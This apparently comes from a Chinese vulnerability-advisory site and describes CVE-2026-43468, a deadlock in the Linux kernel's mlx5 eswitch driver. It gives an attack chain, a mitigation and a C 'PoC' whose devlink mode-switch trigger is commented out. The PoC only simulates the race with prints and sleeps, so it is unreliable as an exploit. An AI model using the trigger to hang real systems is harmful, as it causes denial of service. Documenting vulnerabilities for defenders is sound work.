IPBUF安全漏洞报告
English
CVE-2026-43468 CVSS 5.5 中危

CVE-2026-43468: Linux内核net/mlx5死锁漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43468
漏洞类型
死锁
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDeadlockDoSnet/mlx5CVE-2026-43468

漏洞概述

Linux内核net/mlx5组件存在死锁漏洞。该漏洞源于devlink锁与esw->工作队列之间的竞争条件。当工作队列执行事件处理函数并获取devlink锁时,若系统同时进行eswitch模式设置操作并尝试刷新工作队列,会导致死锁,影响系统可用性。

技术细节

该漏洞发生在Linux内核的Mellanox网卡驱动(mlx5)的eswitch(交换机)模块中。具体而言,esw->work_queue工作队列在执行esw_vfs_changed_event_handler时会尝试获取devlink锁。与此同时,当系统调用.eswitch_mode_set设置eswitch模式时,会通过mlx5_eswitch_disable_locked和mlx5_eswitch_event_handler_unregister调用flush_workqueue来刷新工作队列。由于此时工作队列中的处理函数已经持有了devlink锁,而刷新操作需要等待工作队列完成,从而形成了死锁。漏洞利用方式需要本地低权限攻击者触发特定的eswitch模式变更事件,导致系统挂起。修复方案引入了代数计数器机制,在注销事件处理函数时增加计数器,并在工作处理函数执行前检查计数器是否匹配。若不匹配,说明eswitch状态已变更,处理函数直接退出,从而避免了在持有锁的情况下进行不必要的刷新操作,解决了死锁问题。

攻击链分析

STEP 1
步骤1
攻击者在本地系统获得低权限用户访问(PR:L)。
STEP 2
步骤2
攻击者等待或触发esw->work_queue中的事件处理函数(如VF状态变更),使其获取devlink锁。
STEP 3
步骤3
攻击者并发触发eswitch模式设置操作,该操作尝试刷新工作队列。
STEP 4
步骤4
系统进入死锁状态,导致系统挂起或拒绝服务(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43468 * Triggering deadlock in mlx5 eswitch mode set. * This code simulates the race condition between the event handler * and the eswitch mode set operation that flushes the workqueue. * Note: This requires a system with a Mellanox NIC and the mlx5_core driver. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> // Simulate triggering the event handler context void trigger_event_handler() { // In a real scenario, this corresponds to esw_functions_changed_event_handler // acquiring the devlink lock. printf("[*] Simulating event handler acquiring devlink lock...\n"); sleep(2); // Hold the "lock" for a while printf("[*] Releasing lock...\n"); } // Simulate the eswitch mode set operation void switch_eswitch_mode(const char *device) { char cmd[256]; // This path calls mlx5_eswitch_disable_locked -> flush_workqueue // If the event handler is running, this flush will deadlock. snprintf(cmd, sizeof(cmd), "devlink dev eswitch set %s mode switchdev", device); printf("[*] Attempting to switch eswitch mode on %s...\n", device); // system(cmd); // Uncomment to actually trigger on a vulnerable system } int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <pci_device>\n", argv[0]); printf("Example: %s pci/0000:03:00.0\n", argv[0]); return 1; } printf("[+] CVE-2026-43468 PoC Start\n"); // The race condition is narrow, but the logic implies that if the // handler is running when unregister happens, deadlock occurs. // This PoC attempts to time the operations. if (fork() == 0) { // Child process triggers mode switch (the flush path) sleep(1); // Delay to try and hit the window switch_eswitch_mode(argv[1]); } else { // Parent process simulates the event handler holding the lock trigger_event_handler(); wait(NULL); } printf("[+] PoC execution finished.\n"); return 0; }

影响范围

Linux Kernel(修复提交前)

防御指南

临时缓解措施
限制对devlink工具的访问权限,避免在系统负载高或关键业务运行时频繁切换eswitch模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表